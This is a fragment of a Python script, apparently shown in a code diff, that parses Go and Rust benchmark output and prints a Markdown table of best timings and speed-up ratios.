for m in re.finditer(r"^Benchmark(\S+?)-\d+\s+\d+\s+([\d.]+) ns/op", out, re.M):
keep(go_best, m[1], float(m[2]) * 1e-9)
out = subprocess.run([rust], capture_output=True, text=True).stdout
for m in re.finditer(r"^(\S.*?)\s+\d+ ops\s+([\d.]+)(ns|µs|ms|s)/op", out, re.M):
keep(rust_best, m[1].strip(), float(m[2]) * unit[m[3]])
def fmt(s):
return f"{s * 1e6:.1f} µs" if s < 1e-3 else f"{s * 1e3:.2f} ms"
print(f"Best of {rounds} interleaved rounds\n")
print("| benchmark | Go | Rust | speed-up |\n|---|---:|---:|---:|")
for r, g in names.items():
if r in rust_best and g in go_best:
print(f"| {r} | {fmt(go_best[g])} | {fmt(rust_best[r])} | {go_best[g] / rust_best[r]:.2f}× |")
View File
View File

Some files were not shown because too many files have changed in this diff Show More